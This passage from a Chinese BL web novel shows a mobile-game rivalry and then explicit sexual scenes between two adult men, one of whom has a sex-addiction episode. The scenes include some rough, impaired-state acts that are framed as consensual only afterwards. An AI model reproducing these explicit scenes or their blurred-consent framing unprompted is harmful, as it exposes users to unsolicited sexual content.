叶玺冷笑道:“我哥让你来劝我,给了你多少钱,劝成了又有什么好处?你告诉我,小爷我双倍给你。” 听到这句‘小爷'',陈则眠在心里默念了三遍‘这是未成年不能打'',才勉强把这口气咽了下去。 不得不承认的是,他之前对叶宸的声音是大了点。 陈则眠本以为叶玺是个不被理解的电竞天才,见了面才知道原来是个暴躁的熊孩子。 也是,如果是服管的孩子,叶宸也不会这么轻易找上自己。 没关系,不能在现实世界揍叶玺,他可以把人带到游戏里揍。 陈则眠拿出手机,问叶玺:“你擅长玩什么游戏?” 叶玺面露不屑:“怎么,你想跟我SOLO?” 陈则眠只说了两个字:"上号。" 叶玺登上游戏,看到陈则眠连段位都没有的ID号,忍不住道:“你在逗我吧,我可是国服前十。” 陈则眠:“玩不玩?” 叶玺进入1V1模式,输入房间号和密码,放下狠话:“我一级就能单杀你。” 陈则眠进入游戏:“要是我把你杀了呢?” 叶玺当即道:“你要是能赢,让我干什么都行。” 两分钟后,【系统播报:First Blood】 陈则眠淡淡道:“赢了。” 叶玺整个人呆在原地,脸比屏幕还黑。 陈则眠完全忘了他昨天还振振有词,和叶宸强调梦想有珍贵。 他无情地向叶玺表达了自己的疑惑:“就这还打职业?” 叶玺愤怒地退出游戏:“再来!” 陈则眠接受邀请,又在游戏里杀了叶玺一次。 叶玺逐渐怀疑人生,很快又反应过来:“不对,你走位怎么能提前预判成那样?我刚放技能,你就躲开了。” 陈则眠云淡风轻:“怎么,你听不到技能音效吗?” 叶玺一把抢过陈则眠手机:“什么技能音效?你肯定开挂了!换手机玩!” 陈则眠欣然接受,拿着叶玺的手机又杀了他三次。 五连败后,叶玺整个人都恍惚了。 “不可能,这不可能!” 叶玺大声质问陈则眠:“这是不是你小号,你肯定是国服前十,什么《再封神》创始人,我哥雇你来演我的吧。” 陈则眠斜倚着墙,歪头问叶玺:“那换个游戏?” 叶玺想了想,说:“行。” 接下来的半个小时,叶玺在一个又一个游戏中体会到了各种花式死法。 一败涂地、惨不忍睹。 玩到最后手机弹出了电量警报。 陈则眠甩了甩手腕:“不玩了,没电了。”叶玺已经彻底输红了眼:“不行!” 陈则眠气定神闲:“输了这么多局还没输够?” 叶玺:“……” 陈则眠:“我记得有谁说,‘我要是赢了让他干什么都行’来着?” 叶玺深吸一口气:“你想让我干嘛?” 陈则眠说:“回去把高中上完,该上大学上大学。” 叶玺看了陈则眠两秒,突然临时毁约,转身就跑。 陈则眠在现实中的预判速度比游戏里更快,抬手就薅住了叶玺后衣领。 “你是不是陈折?”叶玺见到陈则眠这么灵活的身手,陡然反应过来:“打了刘越博,打了许劭阳,前一阵还打了唐天聪的那个陈折。”陈则眠:"……" 没有人能在这份成绩面前无动于衷,尤其这些成绩还都是涉嫌打架斗殴的不良战绩。 叶玺从小到大也是打架打惯了的,不可能就这样束手就擒,见陈则眠抓住他衣服,直接把外套一脱。 陈则眠忍不住笑了一下。 他想起自己第一次见陆灼年,当时陆灼年伸手抓他,自己也是掀起衣服就要跑。 也是在绿水亭苑。 转眼间过去时间飞逝,他已经穿书这么这么久了。 想到这儿,陈则眠有刹那出神。 叶玺趁陈则眠走神,出其不意,抬手猛地推向陈则眠,趁陈则眠转身避开的刹那,撒腿就跑。 陈则眠没有去追,站在原地叹了口气,直接回了包厢。 叶宸看到陈则眠自己回来,一点也不惊讶,只淡淡道:“是不是很难沟通。” 陈则眠把自己出了包厢以后的事情讲了一遍:“我尽力了。” 叶宸不以为然:“你连刘越博都能管好,叶玺怎么不比他强。” 陈则眠说:“可是刘越博又不跑。” 叶宸:“我有办法让叶玺不跑,就是不知道你愿不愿意管。” 陆灼年拒绝:“他没时间,不愿意。” 叶宸看了陆灼年一眼,又转眸看向陈则眠,说:“不是让你天天看着他,就是请你陪他玩游戏。” 陈则眠有些诧异:“玩游戏?” 叶宸微微颔首,语气冷酷:“多‘杀''他几次,‘杀′到他不想玩为止。” 圣殿光辉这款游戏有一个【对垒】模式。 玩家可以选择和游戏中遇见的队友或敌人‘势不两立'',这样就永远不会再次和对方成为队友,只会成为敌人。 如果再同时开启‘狭路相逢’挑战,那么只要双方同时在线,被分入同一局游戏的概率将大幅度提高。 为保护游戏公平性, ‘狭路相逢′挑战仅限于低段位玩家向高段位玩家发起,高段位不能对低段位绑定‘狭路相逢'',而且为防止玩家通过绑定刷分,高 段位那方只要胜利一局,绑定就自动解除,并且一定时间内不能再次被挑战。 总之,在圣殿光辉游戏机制下,段位差距越大,被匹配到一局的可能性越大。 叶玺是国服前十,而陈则眠的号段位低到不能再低。 这就意味着一旦陈则眠[挑战]叶玺,那么只要他俩同时在线,那么几乎每把游戏都能分配在敌对方。 只有叶玺取得胜利,绑定才会解除,否则陈则眠的号就会阴魂不散,一直绑到他退游为止。 陈则眠听过叶宸的计划,表示:“这有点狠吧。” 叶宸继续道:“陪玩费按小时结算。” 陈则眠说:“叶少别开玩笑了,这不是钱的事。” 叶宸淡定开价:“一个小时十万。” 陈则眠动摇了一瞬:“叶少,我觉得……” 叶宸加价:“二十万。” 陈则眠脱口而出:“好吧。” 陆灼年见陈则眠同意了,也没再发表什么反对意见。 几人说话间,叶家保镖已经逮住了叶玺,押着人走进包厢。 叶玺本来还骂骂咧咧,进了包厢看到叶宸以后就不吱声了,老老实实地坐回了座位上。 现在他命在旦夕,会不会被带回叶家全在叶宸的一念之间。 生死关头,叶玺终于学乖了些,接受了他哥找陈则眠陪他练游戏的安排。 服务人员见人已到齐,流水似的将菜摆上桌。 一旦开始吃饭,陈则眠就忘了别的。 绿水亭苑的官府菜清淡精致、用料讲究,所用食材无一不是珍品,素精饮馔,火候严格,真的是非常好吃。 陆灼年盛了一碗汤,问陈则眠喝不喝。 陈则眠点点头,陆灼年就把汤放在他手边,也并没有再去盛,就好像这汤本来就是替陈则眠盛的。 叶宸看了眼汤碗,目光轻晃的玉勺上一扫而过。那是陆灼年的汤匙。 陈则眠像是根本没注意到谁是谁的,端起碗舀了汤就往嘴里放。 陆灼年说:“烫。” 陈则眠‘嘶’了一口气,雪白牙齿轻咬着舌尖,不断吸气降温,嘴里还不断抱怨:“为啥不早说?” 陆灼年眼神落在那小小一截鲜红的舌尖上,定定盯了两秒。 陈则眠见陆灼年盯着自己的舌头,立刻转头问他:“咋了咋了,是哪儿烫坏了吗?” ……" 叶宸转眸瞥了眼陆灼年。 陆灼年若无其事地收回视线,淡淡地‘嗯 了一声。 65、第65章... 陆灼年没有说药品名,但陈则眠知道他说的肯定是帕罗西汀。 陈则眠猝然一惊:“我马上过去!” 陆灼年呼吸声微顿:“你嗓子怎么了?” 陈则眠大步跑上二楼,打开药柜,拿出一盒帕罗西汀放进兜里:“都什么时候了,你还有心情管我嗓子?” 陆灼年竭力调整着呼吸频率,尽量用平稳的声线说:“别着急,开车慢点,安全第一,3号501寝室,来了敲门,我先挂了。” 陈则眠听到手机那边的忙音,心脏都紧了一下。 他连外套都没来得穿,拿上车钥匙就出了门。 三月中旬的天气乍暖还寒,今天又是阴天。 风很大。 陈则眠只穿着卫衣,一出门就冷得打了个哆嗦,总共也没跑几步路,坐进车里时却手指冰冷。 握着方向盘的手都是僵的。 车里开了空调,但温度一时半会也没那么快上来,陈则眠很明显感觉到自己在发抖,也不知道是太紧张还是太冷。 他强令自己镇定下来,先不要去想陆灼年的事情。 现在想再多都没用,除了让自己心烦意乱以外,起不到任何正向作用,赶紧把车开到学校才是最快、最好解决问题的方法。 陈则眠全神贯注,在等红灯的间隙打开导航,选定一条最快的路线。 好在这个时间点不堵车,陈则眠又开的是辆一看就很贵的车,旁边的车都尽量离他远远的,陈则眠变道的时候,后面的车也不敢不让。 陈则眠紧压着限速开,一路不知道超了多少车,硬是把35分钟的车程压缩到了20分钟。 陆灼年在校内并不张扬,从未把风神开到过学校,所以这个车牌是开不进校园的。 B大校园门口,帕加尼风神一个神龙摆尾甩入车位。 车将将停稳,鸥翼门便向上弹开,星眸皓齿的俊俏少年跳 下车,反手扣上车门,以百米冲刺的速度冲进校园,找了辆共享单车,风驰电掣地骑到了3号楼下。 陈则眠就长了大学生的脸,进宿舍楼也没人拦。他也不记得自己怎么窜上的五楼。 站到501寝室门前的时候,陈则眠两条腿都是软的,像是刚跑完一场马拉松。 陈则眠敲了敲门:“陆灼年。” 锁芯转动‘咔哒’一声,门锁开了。 陈则眠推开门,闪身钻了进去,然后迅速合上门,把门锁重新反锁。 陆灼年就站在门前。 陈则眠一转身,直接撞在了他胸口上。 陆灼年站得很稳,晃都没晃一下,反而抬臂扶住了陈则眠。 陈则眠瞬间被某种强悍的雄性磁场包围,下意识往后躲去,直到后背抵在门上,退无可退。 陆灼年明明是抬手扶他,可陈则眠却有种被抓住的错觉。 雄性之间的斗争和比较与生俱来,此时的陆灼年气场强悍,理性的束缚摇摇欲坠,整个人充满了攻击性,自然而然地挤压、逼迫、威胁到了同为雄性的陈则眠。陈则眠不寒而栗,本能地感觉到了畏惧。 他甚至不知道自己在怕什么。 就像误入了大型食肉动物的巢穴,人类与生俱来的第六感会催逼着你—— 快逃。 陆灼年握着陈则眠的胳膊,指腹下是蓬勃跳跃的脉搏。 ‘砰砰砰砰’的声响不断在耳边炸响,分辨不出谁的心跳更快 “跑上来的?”陆灼年指节动了动,握紧陈则眠手腕,声音沉哑:“你来得好快,外套也没穿。” 陆灼年一开口,陈则眠意识层面上所有的负面感受都消失了。 个人意志战胜了缥缈的第六感。 陈则眠相信陆灼年,并笃定陆灼年不会伤害他。 纵然是在性.瘾发作,神智模糊的情况下,陆灼年看到他之后,最先关心的还是他跑得太快、没穿外套。 这样的陆灼年就算给人的压迫感再强,陈则眠都不应该怕他。 寝室内拉着窗帘,但遮光效果很一般。 陈则眠抬头观察陆灼年的神色:“你现在怎么样?” 陆灼年闭了闭眼,综合评定了一下自己的状态:“理智不多了,把药给我。” 每个人对‘不多''的定义不同。 但按照常理来算以50%为界,不多的数值大概是介于1%~49%之间,假设取中间值25%为代表,那一般人听见这句‘理智不多了'',大都会想‘糟糕,就剩25%了,他可能马上就不清醒了’。 而向来过度乐观的陈则眠,绝对不能以常理推断。 他听见这句话的反应是:还有25%呢,这不挺清醒的吗。 出于以上结论,陈则眠不仅没有第一时间把药给陆灼年,反而不知死活地责怪起他来—— “你看你,上次病好了就把自己当没事人,这回又犯病了吧。” 陆灼年本来也没指望陈则眠能痛痛快快把药交出来。 他低头看向陈则眠,发现对方卫衣兜的位置鼓起一块,就直接伸手去拿药品。 陈则眠倒也没不给,只是皱眉看着陆灼年:“你那天都说了以后不吃药,说话不算话。” 陆灼年拆药盒的手微微一顿,垂眸道:“你还说了会帮我,你帮了吗?” 陈则眠喉咙发紧,喃喃自语般小声反驳说:“你也没来找我,我哪儿知道你什么时候想。” 陆灼年定定地看了陈则眠好几秒,说:“每天都想。” 通过如此直白的‘每天都想’四个字,陈则眠断定陆灼年的理智已经从‘不多’滑落向‘很少''了。 理智状态下的陆灼年,绝不会这么老实地说这种大实话。 陈则眠按住药瓶,抬眼问陆灼年:"那我现在帮你,可以不吃药了吗?" 陆灼年又看了陈则眠三五秒,突然一抬手,把陈则眠竖着抱了起来。 陈则眠双脚忽然离地,下意识扶住陆灼年的肩膀。 陆灼年这么抱着他,两个人贴得很紧,陈则眠能够很清楚的感觉到有什么东西顶着自己。 陈则眠居高临下,垂眸看着陆灼年:“你想干啥?” 陆灼年没回答,抱起陈则眠往寝室里走去。 宿舍里摆着的是那种上下铺的铁架床,陆灼年的床铺在靠窗的位置。收拾得过分整齐,所以格外好认。陆灼年停在床前,俯身把陈则眠往床上放。 陈则眠个子本来就高,被陆灼年这么举起来以后,更是抬手都能摸到天花板,直接爬到上铺去都没问题,往低窄的下铺放显然是不大容易。 陆灼年说了声:“弯腰。” 陈则眠脑袋差点没磕床杆上,缩起脖子把头往下躲。 陆灼年单手护着陈则眠,把人放在了自己床上。 陈则眠撑着手坐起身,刚想说话,陆灼年突然抖开空调毯,把陈则眠兜头罩了起来。 陆灼年晚上不住寝室留宿,只有上下午都有课的时候,才会在中午来寝室休息一下,所以床上只有这张空调毯,连被子都没有。 陈则眠在毯子里拱了又拱,试图将脑袋拱出来。 未果。外面的陆灼年用手紧紧压住了毯子,不许陈则眠钻出来。 陈则眠有点不能理解陆灼年的行为。但很快他就理解了。 几秒之后,陆灼年隔着空调毯抵住了他。 陈则眠被闷在毯子里,眼前只能看到很狭小昏暗的一片空间,本就灵敏的听觉被无限放大。 他能够捕捉到更细微的响动。 先是腰带扣解开的声音,紧接着是一阵布料摩擦的寒窣。 然后,陆灼年手伸进毯子里,很轻很轻地虚握住陈则眠的手指。 陈则眠心脏逐渐悬起,手指不自觉地蜷了蜷。 他隐约知道陆灼年想要干什么,又说不太清楚,也不是很确定,强烈的未知感犹如潮水汹涌,一层层缩紧,比盖在头顶的毯子还令人紧张。 陆灼年抓着陈则眠的手,把他引向毯子外。 在触碰到自己之前,陆灼年停了下来。 陆灼年低声问陈则眠:"可以吗?" 陈则眠轻轻‘嗯′了一声。陆灼年却没再动了。陈则眠只能把手继续往前伸。 那里很烫很烫,即便虚隔着一段距离,即便眼睛看不到,手掌也能感受到灼人的温度。陈则眠朝着热源的方向摸去,虽然人还闷在毯子里,但手也很精准地抓到了陆灼年。陆灼年整个人震了震,浑身的肌肉瞬间一缩。他也不知自己究竟是用怎样的意志力强行保留理智,才抑制住了挺.腰的冲动。陈则眠听到了陆灼年沉重的呼吸声,缓缓掀开头顶的空调毯。陆灼年眼皮轻颤,喉结上下滑动,没有再去按毯子。陈则眠终于从空调毯里钻了出来、 他后背靠着墙,抓着陆灼年往自己的方向拽了拽:“你过来点。” 陆灼年鼻息微重,闷哼一声。 陈则眠意识到手里的东西不能用力拽,赶忙安抚般地揉了揉:“抱歉抱歉,你往我这边靠一点,这样我不好使劲儿。” 陆灼年眸光沉暗如墨,缓缓倾身向前。 两个人距离拉近,呼吸逐渐交错在一起。 陈则眠握着陆灼年,觉得有点尴尬,就闭上了眼睛。 闭上眼更尴尬。 陈则眠又睁开眼,发现陆灼年目不转睛地盯着自己,眼神极具侵略性,像一头大型野兽。 无论穿越前还是穿越后,陈则眠的手速都很快,是快到能去打电竞比赛的程度,超绝的手速下刺激程度更高,感受更为强烈。 陆灼年呼吸急促,全身燥热难耐,酥麻的感觉顺着陈则眠的手,迅速蔓延上小腹,又在小腹处轰然散开,在体内成千上万个神经元中间来回窜动。他下颌紧绷,汗水顺着脖颈流入衣领,竭力压制挺.腰的动作,尽量使自己看起来不那么下流急.色。 可生理反应早已将他暴露无遗。 陆灼年低下头,抵着陈则眠肩膀,稍微一抬头,鼻尖就蹭在对方颈侧的软肉上。 小小的红痣犹如一颗火星,烫得他眼珠灼热猩红。 呼吸之间尽是陈则眠身上诱人的淡香,明明只是沐浴乳的味道,对陆灼年而言却如同烈性春药,令他不能自已,濒临失控边缘。 人性和兽.欲在体内鏖战未歇,此消彼长。 陈则眠手腕有些酸,动作不自觉地缓慢下来。当陈则眠给予的速度变慢,已经习惯了快节奏的陆灼年无法再被满足。理智在灼烧炽热的火焰中迅速蒸发。他最终还是没能抑制住自己不动。陆灼年不仅动了,而且动得很急、很凶。 那感觉就像完全变了一个人,往日的冷静自持、矜贵禁欲,都随着理智溃败而烟消云散。 陈则眠看着这样的陆灼年有些陌生,但却并不害怕。 因为那是陆灼年。 在陈则眠的视角里,甚至觉得陆灼年肯自己用力是好事。 陈则眠压力骤减,理所当然地开始偷懒。 他出工不出力,只奉献出一只手,其他的任由对方动作。 陆灼年凿得很重。 但是不够,还是不够,远远不够。 自己掠夺的和陈则眠给予的感受完全不同。 陆灼年完全被欲.望操纵,鬼使神差地捏住了陈则眠的手腕。 他手劲儿太大了,陈则眠被捏得轻嘶一声。 陆灼年不受控制地弹动了一下,下意识想听到更多声音,于是更加用力地攥紧陈则眠手腕。 陈则眠下意识往回缩手:“疼疼疼疼。” 陆灼年紧紧抓着陈则眠手腕不放,目光沉沉地注视着他。 陈则眠理直气壮地回瞪他。 陆灼年收回视线,评价道:“偷懒,还娇气。” 陈则眠嘟嘟囔囔地反驳:“平常训练的时候又没这么久。” 平时训练? 陆灼年不明所以地皱了下眉,再次看向陈则眠。 陈则眠轻咳一声,没好意思说这是自己平时时间比陆灼年短的意思。 他不好好出力也罢,要求还很多: "我手都酸了,你能不能快点。" 陆灼年单手掐住陈则眠的下巴,扳起那张过分绮丽漂亮的脸,强迫他看向自己,沉声道:“那就想办法让我舒服。” 陈则眠也想让陆灼年快点舒服。 这是他不想吗? 他都已经在帮陆灼年了,而且还是用超快速度、超高频率、穷尽单身二十七年技巧的手帮的。 他已经竭尽全力,是陆灼年太难满足。 陈则眠提出申请:“换一只手。” 陆灼年松开陈则眠右手手腕,沉默地允准了。 手腕上残留着几道可怖的指痕。 陆灼年眼睫动了动,看着陈则眠另一手碰到了自己。这显然不是换一只手能解决的问题。 得到一次满足后,性.瘾患者不会止步于此,他的需求阈值会不断增高,渴望更加强烈的刺激。 上次还只是用手就可以,这次好像不太行了。 陈则眠想不出什么好办法,虚心求教,问陆灼年有何高见。 陆灼年眼眸微垂,看了陈则眠一会儿,说了两个字: “张嘴。” 陈则眠倒抽一口凉气,气管被凉风刺激得收缩几下,忍不住一阵呛咳。陆灼年没说话,只沉默蹙起眉看向陈则眠。 陈则眠震惊地瞪着陆灼年: "你他妈最好是在逗我。" 陆灼年没有半点开玩笑的意思,沉默地凝视着陈则眠。 在陆灼年直白目光的凝注下,陈则眠脖颈发应,后背不自觉绷紧,全身都有些刺痒。 那种痒意顺着皮肤钻进身体内部,像是吞了草莓绒毛,喉咙又干又痒,抑制不住想要咳嗽。 好像有什么事情即将发生。 陈则眠喉结微不可察地滚动几下,试图阻止事态朝不可控制的方向发展。 “用嘴不行。”他拒绝了陆灼年。 闻言,陆灼年脸上划过一瞬不悦。 陈则眠英俊的眉梢皱起,心说你还不悦上了。 换个人敢跟我讲这种话,我早就一拳怼他鼻子上了,不打他满地找牙,我陈则眠三个字都得倒着写。 陆灼年竟然还问:“为什么不行。” “这还用问吗?”陈则眠忍了又忍,最终还是没忍住,一拳捶在陆灼年胸口:“你要行你给我嘴一个。” 陆灼年又看了陈则眠两秒,缓缓低下头。 66、第66章... 陈则眠紧紧抓着身下的床单。 因过度用力,修长的手指颤栗着,指节泛白,连指甲都微微弯折。 他大脑一片空白,感觉灵魂都跟着被吸走了。 意识在不断、不断抽离。 男人原本就是容易被欲.望操控的动物,当身体爽的时候,脑子就不会考虑那么多了。 陈则眠的自控力基本为零,又很擅长放过自己。 极致的快慰中,他挣扎了甚至不到0.1秒,就决定先爽再说。 哪儿有那么多该与不该,对和不对,道理原则都是虚浮的、空泛的、周规折矩的。 只有快乐是真实的、确凿的、引人沉迷的。 他像是悬浮在高空的云朵之上,又像是深埋在海底的砂砾之下。 欲潮如巨浪般接连袭来,陈则眠魂不着体、欲罢不能。 太刺激了,爽得人想死。 眼前视线渐渐模糊,他闭了闭眼,剧烈地喘息着,胸膛起伏程度堪比哮喘发作。 陈则眠犹如一台运行变速的机器,已经无法进行思考,仿佛融化成一摊水,只能被迫承受着过载的快.意。 最后关头,陈则眠想撤出去,陆灼年却狠狠扣住他的腰。 陈则眠差点又死一次。 陆灼年屈指抹了下嘴唇,乌沉沉的眸子里是锐利清冽的冷光。他喉结动了动,将嘴里的东西咽了下去。 陈则眠瞳孔剧烈收缩,猛地从床上弹起来,伸手去捏陆灼年的下巴,震惊地失去了语言能力:“你你你你咽了??!!!”陆灼年表情没有任何变化,只是抬手把陈则眠的头往下按,说了一句:“到你了。” 陈则眠:“……” 他第一次如此直观地感受到性瘾发作的可怕之处。 人真的会褪去理性,化身成野兽。 为了追逐快.感,什么事情都做得出来,竟然连洁癖都消失了。 难怪陆灼年之前反复强调,人被欲.望支配时会失去理性、不受控制。 这话真是半点不假,就连健康清醒的人都很容易迷失沉陷于欲海,更不要说是身患性瘾、理智消退的陆灼年了。 胡思乱想间,陈则眠被按了下去。鼻端满是浓浓的雄性激素气息。 还有一丝淡淡的松香。 雪松精油有抗菌、收敛、柔软、杀霉菌的作用,陆灼年所有贴身衣服都用雪松熏过,所以他身上也总有这种清冽干净的松香。和荷尔蒙的味道混在一起并不难闻。 陆灼年往前轻轻撞了他一下,催促道:"张嘴。"陈则眠还想做最后挣扎,仰头问陆灼年:“我也得咽吗?”陆灼年面无表情,扯着他的头发,不耐烦地说:“快点。”激素的分泌会影响人的思考和行为。 身体得到足够的愉悦后,所谓的底线也变得没有那么神圣而不可侵犯。 况且有贵不可言的陆灼年垂范在先,以身作则,也令事情难以接受的程度大大降低。 陈则眠认命地低下头,很轻易地说服了自己。 行吧,谁让他刚才光顾着爽了没有拒绝,现在还回去也合情合理。 陈则眠张了张口,实在有点下不去嘴,还莫名想到了萧可颂当初硬怼到他嘴边的芋泥鸭。 我连又咸又甜的芋泥鸭都能吃,这个也能吃。 陈则眠一咬牙一狠心,张嘴含了进去。 陆灼年发出一声满足的轻叹。 陈则眠舌头动了动,尝到了些许咸味。 抛开事实只谈味道的话,其实并没有让人很难接受,甚至比许多奇奇怪怪的食物还强点。 只要不去想这是什么玩意就好。 陈则眠仰着头,脖颈勾出一道脆弱的弧度,眼睫不停地颤抖,像只粘在蛛网上徒劳抖翅的蝶,拼尽全力、无处可逃。 陆灼年浑身烫得几乎要烧起来,内心诡异扭曲的欲.望得到满足,并没有为难陈则眠太久。 在陈则眠觉得难受前,他就主动退了出来。 陈则眠有点诧异地看向陆灼年。 陆灼年抬起手,将手指塞入陈则眠嘴里,拨弄着他的舌头,用下达命令的语气说:“可以用手了。” 陈则眠如蒙大赦,舌头被陆灼年夹着说不出话,只能仰着脖子点点头。 等一切结束的时候,陆灼年看着陈则眠手中纸巾上的污浊,又露出了那种熟悉的厌倦。 看到这个眼神,陈则眠就知道陆灼年的理智正在逐渐回笼,并正在为自己的行为内疚后悔。 尤其是对于陆灼年这样自律自控的人来讲,刚才发生的一切恐怕很难接受。 火热的氛围还未完全散去,就被一层严冰笼罩。 陆灼年高亢的情绪滑向低落,像是一尊冰塑的雕像,整个人一动不动,沉默良久。 半晌,目光缓慢转动,最终落在陈则眠手腕处青红交错的指痕上。 陈则眠顺着陆灼年的视线看过去,说:“没事。” 陆灼年眼睑轻轻垂下:“为什么不躲开。” 陈则眠神思飘忽了一瞬:“我没想到你来真的,等想躲的时候,你已经……” 看着陆灼年逐渐疑惑的眼神,陈则眠猛地反应过来:“哦,你问的是抓手腕的时候我为什么不躲啊。” 陆灼年满怀负罪感,消沉道:“失控的事情不止一件,以后只会越来越多。” 陈则眠倒是没在意这个,现在不是计较这些的时候,什么都没有病人的情绪重要。 "以后的事以后再说,"陈则眠轻描淡写地一笔带过,转而问陆灼年:“你这次好了吗?" 陆灼年应了一声:“嗯。” 陈则眠如释重负:“有用就行,怎么都比吃药强吧。” 陆灼年转眸看向陈则眠,语气难掩怀疑:“你觉得这比吃药强吗?” 陈则眠瞅了眼时间,说:“虽然折腾了四十多分钟,但比起服药后延续不断的副作用,还是这个影响更小吧。” 陆灼年手指蜷起,无意识地摩挲指腹:"服药只影响我自己,这样会影响你。" 陈则眠一副若无其事的样子:“我没觉得有被影响啊。” 陆灼年瞳孔中倒映出陈则眠异常嫣红的嘴唇,神情是难以掩饰的痛苦自责:“我让你做了你不想做的事。” 陈则眠安慰道:“这不都是相互的嘛,我要是不想做,难道你还能强迫得了我吗?” 陆灼年皱着眉头,没有接话,只恹恹地靠着墙,也不知在想些什么。 英俊的面庞敛在大片阴影下,窗帘缝隙里透过的光线照不到他。 浑身上下弥漫着一团颓败与萧索。 看起来简直快要碎掉了。 陈则眠很怕陆灼年忽然想不开死掉,赶紧用实际行动证明自己真的不介意。 他伸手握住陆灼年胳膊:"我真没觉得勉强。" 陆灼年睫毛颤了颤,缓缓抬起眼睑看向陈则眠,眼神中满是怀疑。 陈则眠点点头,肯定道:“真的。” 陆灼年声音低哑沉郁:“你本来是不愿意的。” 陈则眠说:"可我后来愿意了。" “那是因为我的行为刺激了你,”陆灼年冷静到近乎无情地分析道:“性.兴奋产生后,体内会分泌的多巴胺和内啡肽,会驱使人继续追求欲.望,并在这个过程中持续感受 到愉悦和满足,你被荷尔蒙麻痹了,失去了正确的判断,等你清醒了…" 陈则眠懒得听陆灼年长篇大论,直接按着陆灼年肩膀,把人往床上推。 陆灼年:“?” 陈则眠言简意赅:“我现在没被荷尔蒙麻痹,很清醒地给你来一次,你就知道我是真自愿还是假自愿了。” 陆灼年瞳孔猛地收缩,不可置信地看着陈则眠。 陈则眠语气罕见的认真:“陆灼年,不是所有人都像你这么喜欢自我反思。” 陆灼年手指蜷起,轻轻握住了陈则眠手腕。 陈则眠顺势抱了抱陆灼年,说:“人生在世这么短,我没有时间反复思考做过的事情是对是错,及时行乐不好吗?” 陆灼年收紧手臂,抱紧了他唯一的解药。 满目的荒芜与枯寂中,空荡荡的胸膛被丝丝缕缕暖意填满,陈则眠的体温顺着衣料、皮肤、血肉渐渐融进骨骼,深入骨髓。 他越来越离不开陈则眠了。 犹如一个迷失在沙漠深处的旅人。 拥抱陈则眠,就是拥抱绿洲。 两个人没再说话。 过了几秒,也可能是十几秒,陈则眠动了一下。陈则眠伸手抵住陆灼年胸口,把人往外推了推:“也不用抱这么久,太暧昧了兄弟。”陆灼年忍不住低笑起来,也说不清自己是被气笑的,还是被陈则眠逗笑的。都已经这样了,原来还要抱得久才算暧昧。 陈则眠睨了陆灼年一眼:"笑啥。" 陆灼年声音还是很哑,带着一丝饱餐后的餍足:“我很好奇你对暧昧的定义是什么?” 陈则眠喉咙有些干,声音也不自觉发紧:“就是如果抱得太久的话,我就该有反应了。” 陆灼年心脏陡然停顿一瞬,而后开始剧烈跳动。 他沉声问:“为什么?” 陈则眠抬起眼睫,瞟了陆灼年一眼,没好意思回答。 从前他满心坦荡,不会因为两个人靠得太近而胡思乱想。 现在不行了。 食髓知味、望梅止渴,人的生理反应不受大脑控制。 他的身体已经记住了陆灼年施予的酣畅与快慰,两个人离得近了,陈则眠鼻息间被陆灼年味道包围,就会不由自主地回忆起相关情景与感受。不光是陆灼年给他的,还有他给陆灼年的。 若说之前用手的行为还在红线内,用今天用嘴实在是有点超过了。 而且真的很爽。 可以说是欲.仙.欲.死。 陈则眠之前从未对男人产生过反应,当然,之前也从没有哪个男人让他这么舒服过。 所以他现在也说不清,自己的反应是单独针对陆灼年,还是由于贪恋快.感导致的多巴胺分泌异常。 总之就是真的很爽。 爽到还想再来几次,所以一旦陆灼年靠得太近,他就会忍不住小腹发热,想入非非。或许正如陆灼年所说,他是受到了多巴胺和内啡肽的影响,可能要等这两种激素衰退消失,自己才能慢慢恢复正常。但这不光是生理上的爽快。陆灼年平日里清冷禁欲、矜傲高贵,还洁癖严重、排斥和人肢体接触。只有陈则眠见过他不为人知的一面。心理上那种极为微妙的暗爽,远胜于生理上的愉悦。 陈则眠甚至在心里做出某种诡异至极的计算——仅就互相用嘴这件事而言,好像不管怎么算,都是自己比较赚。 那可是陆灼年啊! 超级超级贵重的陆灼年、洁癖严重的陆灼年、和人握手都要用酒精擦半天的陆灼年。 陈则眠天马行空,越想越远。 陆灼年见陈则眠久久不答,熟练地屈起指节,敲了敲陈则眠手背,唤回他飘远的思绪:“陈则眠,说话。” 陈则眠回过神:“说什么?” 陆灼年耐心地又问了一遍:"为什么靠得近会有反应?你不是直男吗?" 陈则眠挠了下鼻尖:“现在也说不太好了。” 67、第67章 ''现在也说不太好了''几个字虽短,却犹如巨石投入水面,刹那间惊起万丈狂澜。 陆灼年眼眸倏然一动。 说者无心,听者有意。 模棱两可的答案意味着什么不言而喻,陈则眠还没有想明白,陆灼年却是听出了他的动摇。 陆灼年呼吸微窒,心潮狂涌,耳边响起一阵鸣啸。 突如其来的耳鸣犹如冰锥刺入大脑,瞬间引起尖锐的剧痛。 陆灼年闭上眼,额间霎时布满一层冷汗,极为痛苦地蹙起眉梢,手臂止不住地颤抖。 如果不是刚刚才排解过一次,这样强烈的心绪变化,估计又要引他再一次病发了。 陈则眠目光猛地一震,抬手扶住陆灼年:“怎么了?” 陆灼年没有说自己头疼,哪怕他现在脑子像要炸开了似的,只是说:“耳鸣,你刚才说什么,我没听清。” 陈则眠没什么可隐瞒的,又讲了一遍:“我现在也说不好自己是不是直男了。” 陆灼年仿佛只是好奇:“为什么?” 陈则眠轻咳一声,没有回答,只是掀开了自己身上的空调毯。 陆灼年明知故问:“怎么了?” 陈则眠瞬间炸毛:“这还看不出来吗?!” 虽然和陆灼年比起来相形见绌,但陈则眠其实也不小,只是他现在只有一点反应,身下拢起的弧度不是特别明显。 漫长无边的黑夜中,陆灼年终于窥见了一丝隐约天光。 一切比想象中的难,也比想象中简单。是他从前太克制太拘泥了。 身体上的沉沦怎么不是沉沦呢? 由浅入深,这没什么问题。 陆灼年还想说些什么,余光瞥到陈则眠微微发红的耳廓,刹那失神半秒,忘了自己原本想说的话。 陈则眠见陆灼年没有他追着问,缓缓松了口气。 今天发生的事情太多了,陈则眠自己都有点反应不过来,关于现在是直是弯这件事,他还需要静下来好好想想。 陆灼年能不继续深究真是太好了。 即便如此,陈则眠还是出于对双方负责的角度,解释了一句:“我之前真的很直的,可不是GAY装直男故意占你便宜。” 陆灼年:“” 陆灼年在乘胜追击和徐徐图之间犹疑半秒:“你想了半天,就只有这句话要跟我说吗?” 陈则眠有点担心陆灼年误会自己行为的初衷,又强调了一遍:“我只是想帮你治病。” 见状,陆灼年收回了试探,没有逼迫陈则眠非要在今天想通,而是退了一步说:“我当然知道,你本来是直男。” 陈则眠点点头:“对对,我是把你当成好兄弟的。” 陆灼年一针见血:“那你现在弯了吗?” 陈则眠不太确定道:“算是微双?” 陆灼年旁敲侧击:“也就是说,你是经过今天的事,才怀疑自己不那么直了。” 